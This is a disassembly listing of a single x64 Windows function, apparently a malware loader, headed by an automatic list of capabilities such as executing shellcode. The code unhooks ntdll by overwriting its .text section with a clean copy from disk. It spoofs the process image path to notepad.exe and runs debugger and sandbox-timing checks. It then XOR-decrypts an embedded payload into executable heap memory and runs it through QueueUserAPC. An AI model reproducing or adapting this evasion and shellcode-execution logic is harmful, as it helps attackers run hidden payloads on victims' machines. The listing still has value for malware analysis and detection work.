Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x868
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x810], ecx
mov qword [rbp + 0x818], rdx
call fcn.140002920
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x75c], 0
mov ecx, 0xa6c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x7dc], 0
jmp 0x1400015aa
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7d8], eax
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x29a
jle 0x14000152e
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x748], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d0], rax
cmp qword [rbp + 0x7d0], 0
jne 0x1400016a6
mov dword [rbp + 0x7cc], 0
jmp 0x14000166a
call sub.msvcrt.dll_rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5f0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003960
movq rax, xmm0
mov qword [rbp + 0x740], rax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x30f
jle 0x14000162d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d0], rax
cmp qword [rbp + 0x7d0], 0
je 0x140001bbd
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x748]
mov r10, qword [rbp + 0x7d0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x738], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7c4], 1
jmp 0x140001870
mov dword [rbp + 0x7c8], 0
mov eax, dword [rbp + 0x7c4]
mov dword [rbp + 0x7c0], eax
jmp 0x140001846
mov edx, dword [rbp + 0x7c0]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x6f8], edx
mov eax, dword [rbp + 0x6f8]
imul eax, eax
imul eax, dword [rbp + 0x6f8]
add dword [rbp + 0x7c8], eax
mov eax, dword [rbp + 0x7c0]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7c0], eax
cmp dword [rbp + 0x7c0], 0
jne 0x1400017db
mov eax, dword [rbp + 0x7c8]
cmp eax, dword [rbp + 0x7c4]
jne 0x140001869
mov eax, dword [rbp + 0x7c4]
mov dword [rbp + 0x6fc], eax
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x12f
jle 0x1400017c3
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x738]
add rax, rdx
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x7bc], 0x1d6
mov dword [rbp + 0x7b8], 0x78
mov dword [rbp + 0x7b4], 0x334
mov dword [rbp + 0x7b0], 0x208
jmp 0x14000198a
mov eax, dword [rbp + 0x7b4]
cmp eax, dword [rbp + 0x7b0]
jle 0x140001927
mov eax, dword [rbp + 0x7b4]
cmp eax, dword [rbp + 0x7bc]
jle 0x140001907
mov eax, dword [rbp + 0x7b4]
cmp eax, dword [rbp + 0x7b8]
jle 0x1400018fe
sub dword [rbp + 0x7b4], 1
jmp 0x140001973
sub dword [rbp + 0x7b8], 1
jmp 0x140001973
mov eax, dword [rbp + 0x7bc]
cmp eax, dword [rbp + 0x7b8]
jle 0x14000191e
sub dword [rbp + 0x7bc], 1
jmp 0x140001973
sub dword [rbp + 0x7b8], 1
jmp 0x140001973
mov eax, dword [rbp + 0x7b0]
cmp eax, dword [rbp + 0x7bc]
jle 0x140001955
mov eax, dword [rbp + 0x7b0]
cmp eax, dword [rbp + 0x7b8]
jle 0x14000194c
sub dword [rbp + 0x7b0], 1
jmp 0x140001973
sub dword [rbp + 0x7b8], 1
jmp 0x140001973
mov eax, dword [rbp + 0x7bc]
cmp eax, dword [rbp + 0x7b8]
jle 0x14000196c
sub dword [rbp + 0x7bc], 1
jmp 0x140001973
sub dword [rbp + 0x7b8], 1
mov eax, dword [rbp + 0x7b4]
mov edx, eax
lea rax, [0x14000b054]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7b4], 0
jg 0x1400018cb
mov word [rbp + 0x7ae], 0
jmp 0x140001ba5
mov dword [rbp + 0x7a8], 0xffffffff
mov ecx, 0xab8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
add dword [rbp + 0x7a8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5f0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm1, qword [0x14000b5f8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7a8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x708]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7a8], 0x155
jle 0x1400019c0
mov rax, qword [rbp + 0x710]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x710]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7ae]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b94
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x720]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7ae]
add eax, 1
mov word [rbp + 0x7ae], ax
mov rax, qword [rbp + 0x710]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7ae], ax
jb 0x1400019a5
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x768]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x7a0], 0x10e
mov dword [rbp + 0x7a4], 0x10e
jmp 0x140001c0c
sub dword [rbp + 0x7a0], 1
sub dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x46
jg 0x140001bfe
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002855
mov rax, qword [rbp + 0x6e0]
mov edx, 0x42a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6dc], eax
mov qword [rbp + 0x6d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xe3d280
mov ecx, 0
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140002855
mov rax, qword [rbp + 0x6d0]
mov edx, 0xe3d280
mov rcx, rax
call fcn.1400091b0
mov rax, qword [rbp + 0x6d0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
jne 0x140002855
mov qword [rbp + 0x798], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x140001e5f
mov rax, qword [rbp + 0x6b0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a8]
mov r9d, 0x3000
mov r8d, 0x2f4
mov edx, 0
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
je 0x140002855
mov dword [rbp + 0x584], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x584]
mov r8, qword [rbp + 0x6a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x584]
cmp eax, 1
je 0x140002855
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x694], eax
mov ecx, 0x3af
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x690], eax
mov eax, dword [rbp + 0x690]
sub eax, dword [rbp + 0x694]
cmp eax, 0x37d
jbe 0x140002855
mov dword [rbp + 0x68c], 0x347
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x68c]
mov r8, qword [rbp + 0x680]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x315
jbe 0x140002855
mov dword [rbp + 0x66c], 0x372
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
call rax
mov dword [rbp + 0x654], eax
mov eax, dword [rbp + 0x66c]
mov r8, qword [rbp + 0x660]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x658]
call rax
mov dword [rbp + 0x650], eax
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x654]
cmp eax, 0x340
jbe 0x140002855
mov dword [rbp + 0x580], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x580]
mov r8, qword [rbp + 0x648]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x580]
cmp eax, 1
je 0x140002855
mov qword [rbp + 0x640], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2eb4a80
mov ecx, 0
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
je 0x140002855
mov rax, qword [rbp + 0x640]
mov edx, 0x2eb4a80
mov rcx, rax
call fcn.1400091b0
mov rax, qword [rbp + 0x640]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0xd0]
lea rdx, [0x14000b148]
mov ecx, 0x94
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov ecx, 0x3b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x794], 0
jmp 0x14000227f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x794]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0xeb
jle 0x140002232
mov dword [rbp + 0x794], 0
jmp 0x140002397
mov dword [rbp + 0x5dc], 0
jmp 0x140002379
mov eax, dword [rbp + 0x794]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5dc]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002372
mov eax, dword [rbp + 0x5dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5d8], eax
mov eax, dword [rbp + 0x794]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, dword [rbp + 0x5dc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x5d8]
mov dword [rdx], eax
add dword [rbp + 0x794], 1
mov eax, 0xeb
sub eax, dword [rbp + 0x794]
cmp dword [rbp + 0x5dc], eax
jl 0x1400022a9
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0xeb
jle 0x14000229a
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x630]
mov r8d, 0
mov edx, 0x4a2
mov ecx, 0x40000
call rax
mov qword [rbp + 0x618], rax
mov qword [rbp + 0x788], 0
mov dword [rbp + 0x614], 0x10a
mov dword [rbp + 0x790], 1
jmp 0x14000242e
mov eax, dword [rbp + 0x790]
cdqe
add qword [rbp + 0x788], rax
add dword [rbp + 0x790], 1
mov eax, dword [rbp + 0x790]
cmp eax, dword [rbp + 0x614]
jle 0x140002418
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x620]
mov r8d, 0x4a2
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x608]
mov r9, qword [rbp + 0x600]
mov r8d, 0x4a2
mov rcx, rax
call r9
mov dword [rbp + 0x780], 0
mov dword [rbp + 0x77c], 0
movabs rax, 0xadf8a5430c4e0153
movabs rdx, 0x21730fa1fcd038ea
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x4b59f020a5f5f605
movabs rdx, 0x929143a75136837b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xe028f2549b471cb2
movabs rdx, 0xfb8dda70e7c54ff1
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x65a6655fc977b02d
movabs rdx, 0xf43ca364b30e1677
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xa108d7aa4beba915
movabs rdx, 0x3d56e821a4da639a
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xc968334af423d
mov qword [rbp + 0xbf], rax
movabs rax, 0x9f54d638d2287109
movabs rdx, 0x4b263dc4a4b0d635
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x70914d6a245c9729
movabs rdx, 0x5ca2325062c19525
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xac5571e6d2cc8d82
movabs rdx, 0x89b890f5281abf2
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xeebef72f075d3f3
movabs rdx, 0xecf279817c026671
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov byte [rbp], 0
mov dword [rbp + 0x784], 0
jmp 0x1400026bf
mov dword [rbp + 0x778], 0
jmp 0x140002640
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5f0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003960
movq rax, xmm0
mov qword [rbp + 0x5e0], rax
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x338
jle 0x1400025fc
cmp dword [rbp + 0x780], 0x3f
jne 0x140002689
mov eax, dword [rbp + 0x784]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x780]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x784]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x780], 0
jmp 0x1400026b8
mov eax, dword [rbp + 0x784]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x780]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x784]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x780], 1
add dword [rbp + 0x784], 1
mov eax, dword [rbp + 0x784]
cmp eax, 0x55
jbe 0x1400025f0
mov dword [rbp + 0x784], 0
jmp 0x1400027bc
cmp dword [rbp + 0x77c], 0x55
jne 0x140002733
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x77c]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x77c], 0
jmp 0x1400027b5
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x77c]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x774], 0x294
mov dword [rbp + 0x770], 0x6e
jmp 0x1400027a5
mov eax, dword [rbp + 0x774]
cmp eax, dword [rbp + 0x770]
jle 0x14000279e
sub dword [rbp + 0x774], 1
jmp 0x1400027a5
sub dword [rbp + 0x770], 1
cmp dword [rbp + 0x774], 0
jg 0x140002787
add dword [rbp + 0x77c], 1
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x4a1
jle 0x1400026dd
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x5f0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5e8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x868
pop rbx
pop rsi
pop rdi
pop rbp
ret